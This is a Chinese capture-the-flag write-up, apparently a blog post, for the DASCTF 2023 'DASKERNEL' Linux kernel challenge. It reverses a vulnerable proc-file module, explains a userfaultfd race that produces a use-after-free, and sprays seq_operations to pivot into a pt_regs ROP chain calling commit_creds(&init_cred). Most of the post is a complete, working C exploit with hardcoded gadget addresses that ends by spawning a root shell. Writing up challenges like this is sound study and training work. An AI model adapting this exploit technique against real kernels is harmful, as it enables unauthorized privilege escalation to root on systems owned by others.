DASCTF二进制专项 2023六月赛 DASKERNEL

ezkernel! have fun!

一、逆向分析

boot.sh

#!/bin/sh
qemu-system-x86_64 \
  -m 256M \
  -kernel ./bzImage \
  -initrd ./rootfs.cpio \
  -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr pti=on quiet" \
  -cpu kvm64,+smep \
  -net user -net nic -device e1000 \
  -smp cores=2,threads=2 \
  -monitor /dev/null \
  -nographic

开了smep和pti,注意没有kaslr

init

#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs tmpfs /tmp
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

ifup eth0 >/dev/null 2>/dev/null

echo 2 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

chown root:root flag
chmod 400 flag
insmod /DASKERNEL.ko
chmod 777 /proc/DASKERNEL

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
cat /welcome

setsid cttyhack setuidgid 1000 sh
#setsid cttyhack setuidgid 0 sh

umount /proc
umount /sys
poweroff -d 0 -f

DASKERNEL.ko

init_module

__int64 init_module()
{
  _fentry__();
  babyLinkedList_file_entry = (proc_dir_entry *)proc_create("DASKERNEL", 0LL, 0LL, &babyLinkedList_file_fops);
  if ( babyLinkedList_file_entry )
    return babyLinkedList_init_cold();
  else
    return 4294967284LL;
}

创建了一个虚拟文件节点 DASKERNEL

babyLinkedList_ioctl

有效的选项就两个

__int64 __fastcall babyLinkedList_ioctl(__int64 a1, __int64 cmd)
{
  uint64_t *req; // rdx
  uint64_t *v3; // rbx
  LinkedList *LinkedList; // r12
  LinkedList *v5; // rax
  uint64_t v6; // rdi
  __int64 v7; // rax
  uint64_t v8; // rsi
  __int64 v9; // r12
  LinkedList *v11; // r13

  _fentry__(a1, cmd);
  v3 = req;
  if ( (_DWORD)cmd == 0x7777 )                  // get、del
  {
    v11 = head;
    v9 = 0LL;
    if ( !head )
      return v9;
    head = head->next;
    if ( !head )
      copy_to_user(req[1], v11->data, 8LL);
    kfree(v11);
    kfree(v11->data);
    return 0LL;
  }
  else
  {
    if ( (unsigned int)cmd <= 0x7777 )
    {
      if ( (_DWORD)cmd == 0x6666 )              // set、add
      {
        if ( *req > 0x40 )                      // 传入的req->size不能大于0x40
          return -1LL;
        LinkedList = (LinkedList *)kmem_cache_alloc_trace(kmalloc_caches[5], 3264LL, 24LL);
        LinkedList->size = *v3;                 // LinkedList->size = req->size
        v5 = head;
        head = LinkedList;
        v6 = *v3;
        LinkedList->next = v5;                  // LinkedList->next = head
        v7 = _kmalloc(v6, 3264LL);              // LinkedList->data = kmalloc(req->size, 3264)
        v8 = v3[1];
        LinkedList->data = (char *)v7;
        copy_from_user(v7, v8, 8LL);            // copy_from_usr(LinkedList->data, req->data, 8)
      }
      return 0LL;
    }
    if ( (_DWORD)cmd == 0x8888 )
    {
      v9 = 0LL;
      printk("\x011[DASCTF:] Sorry i don't want to complete the function");
      return v9;
    }
    if ( (_DWORD)cmd != 0x9999 )
      return 0LL;
    return babyLinkedList_ioctl_cold();
  }
}

二、利用思路

在这里插入图片描述

通过分析,维护的结构体为:

typedef struct linkedlist
{
	uint64_t size;
	struct linkedlist *next;
	char* data;
}LinkedList;

我们需要传入的结构体:

struct request_t{
	uint64_t size;
	char* data;
}

在删除的时候没有任何锁,思考条件竞争,/proc/sys/vm/unprivileged_userfaultfd=1,允许uaserfaultfd系统调用

使用userfaultfd把程序卡在copy_from_user,再释放链表节点,由于只能写首8字节,我选择喷射seq_operations结构体改start指针,再滑到pt_regs的ropchain上。

三、EXP

经过调试,距离pt_regs为0x130字节,我选择了下面的gagdet:

0xffffffff8188fba1: add rsp, 0x130; pop rbx; pop r12; pop rbp; ret;

且由于gadget的限制,我们只能找到适合commit_cred(&init_cred)的rop链。

#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#define CMD_ADD 0x6666
#define CMD_DEL 0x7777
size_t POP_RDI_RET = 0xffffffff81086aa0;
size_t POP_RDX_RET = 0xffffffff8153d116;
size_t ADD_RSP_0x130_PPP_RET = 0xffffffff8188fba1;

size_t prepare_kernel_cred = 0xffffffff810c40b0;
size_t commit_creds = 0xffffffff810c3d30;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00a34;
size_t init_cred = 0xffffffff82a5fa40;

/*
user_cs;
user_rflags;
user_sp;
user_ss;
*/
size_t user_cs,user_ss,user_rsp,user_rflags;
static void saveStatus(){
	asm volatile(
		"mov %0,cs;"
		"mov %1,ss;"
		"mov %2,rsp;"
		"pushf;"		
		"pop %3;"	    
		: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags) 
		:			
	);
	puts("[*] Success to saveStatus!");
}

static void errExit(char * msg){
    printf("\033[1;31m[-] Error: %s\033[0m\n", msg);
    exit(EXIT_FAILURE);
}

static void getRootShell(void){
	if (!getuid()){
		puts("\033[1;31;37m[*] <Successfully Get Root Privileges>\033[0m");
		system("/bin/sh");
	}
	else{
		puts("\033[1;31m[-] <Get Root Error>\033[0m");
	}
}

/* to run the exp on the specific core only */
void bind_cpu(int core)
{
    cpu_set_t cpu_set;
	puts("[*] set cpu affinity");
    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

static pthread_t monitor_thread;

void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
    long uffd;
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    int s;

    /* Create and enable userfaultfd object */
    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
        errExit("userfaultfd");

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
        errExit("ioctl-UFFDIO_API");

    uffdio_register.range.start = (unsigned long) addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
        errExit("ioctl-UFFDIO_REGISTER");

    s = pthread_create(&monitor_thread, NULL, (void *) handler, (void *) uffd);
    if (s != 0)
        errExit("pthread_create");
}

int fd;
char buf[0x400];
char data[0x400];
int spray[0x20];
int seqfd;

struct request_t{
	size_t size;
	char *data;
}req;

int add(size_t size, char *data){
	req.size=size;
	req.data=data;

	int r=ioctl(fd, CMD_ADD, &req);
	if(r<0) errExit("add");
}

int del(char *data){
	req.size=0;
	req.data=data;

	int r=ioctl(fd, CMD_DEL, &req);
	if(r<0) errExit("del");
}


static char *copy_page = NULL;
static void *
fault_handler_thread(void *arg)
{
	static char *copy_page = buf;
	static long copy_size = 0x1000;
	
    static struct uffd_msg msg;
    struct uffdio_copy uffdio_copy;
    long uffd;
    static int fault_cnt = 0;

    uffd = (long) arg;

    struct pollfd pollfd;
    pollfd.fd = uffd;
    pollfd.events = POLLIN;

    bind_cpu(0);
    puts("[*] fault_handler_thread waiting for page fault...");
    for(;;)
    {
        if(poll(&pollfd, 1, -1) <= 0){
            errExit("poll");
        }
        if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP) errExit("revents");

        if(read(uffd, &msg, sizeof(msg)) <= 0){
            errExit("read msg");
        }         
        if (msg.event != UFFD_EVENT_PAGEFAULT) errExit("Unexpected event on userfaultfd\n");

        printf("[t][*] fault_handler_thread(): ");
        printf("POLLIN = %d; POLLERR = %d\n", 
                (pollfd.revents & POLLIN) != 0,
                (pollfd.revents & POLLERR) != 0);

        printf("[t][*] UFFD_EVENT_PAGEFAULT event: ");
        printf("flags = %llx; ", msg.arg.pagefault.flags);
        printf("address = %llx\n", msg.arg.pagefault.address);

		//your code...
		switch(fault_cnt++){
			case 0:{
				puts("[t][*] UAF write");
				del(data);
				for(int i=0; i<0x20; i++){
					spray[i]=open("/proc/self/stat", O_RDONLY);
					if(spray[i]<0) errExit("spray"); 
				}
				seqfd=spray[0];
			}
			case 1:{
			}
			case 2:{
			}
		}
		
        uffdio_copy.src = (unsigned long) copy_page;
        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
                                              ~(copy_size - 1);
        uffdio_copy.len = copy_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
            errExit("ioctl-UFFDIO_COPY");
    }
}

int main(int argc, char *argv[], char *envp[]){
	saveStatus();
	bind_cpu(0);

	void *page;
  	page = mmap(NULL, 0x3000, PROT_READ | PROT_WRITE,
              MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);	
	registerUserFaultFd(page, 0x3000, (void *)fault_handler_thread);


	fd=open("/proc/DASKERNEL",O_RDWR);
	if(fd>0) puts("[+] Proc Opened");
	*(size_t *)buf=ADD_RSP_0x130_PPP_RET;
	
	add(0x20, page);
    for (int i = 0; i < 0x60; i += 8) {
        printf("%02x: 0x%016lx\n", i, *(unsigned long*)(page + i));
    }	

	swapgs_restore_regs_and_return_to_usermode+=16;

	__asm__(
		"mov r15,   0xbeefdead;"
		"mov r14,   0xbeefdead;"
		"mov r13,   0xbeefdead;"
		"mov r12,   POP_RDI_RET;"
		"mov rbp,   init_cred;"
		"mov rbx,   POP_RDX_RET;"
		//r11
		"mov r10,   commit_creds;"
		"mov r9,    swapgs_restore_regs_and_return_to_usermode;"
		"mov r8,    0x99999999;"

		"xor rax,   rax;"
		"mov rdi,   seqfd;"
		"mov rsi,   rsp;"
		"mov rdx,   8;"
		"syscall"
	
);

	getRootShell();
	getchar();
	return 0;
}

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值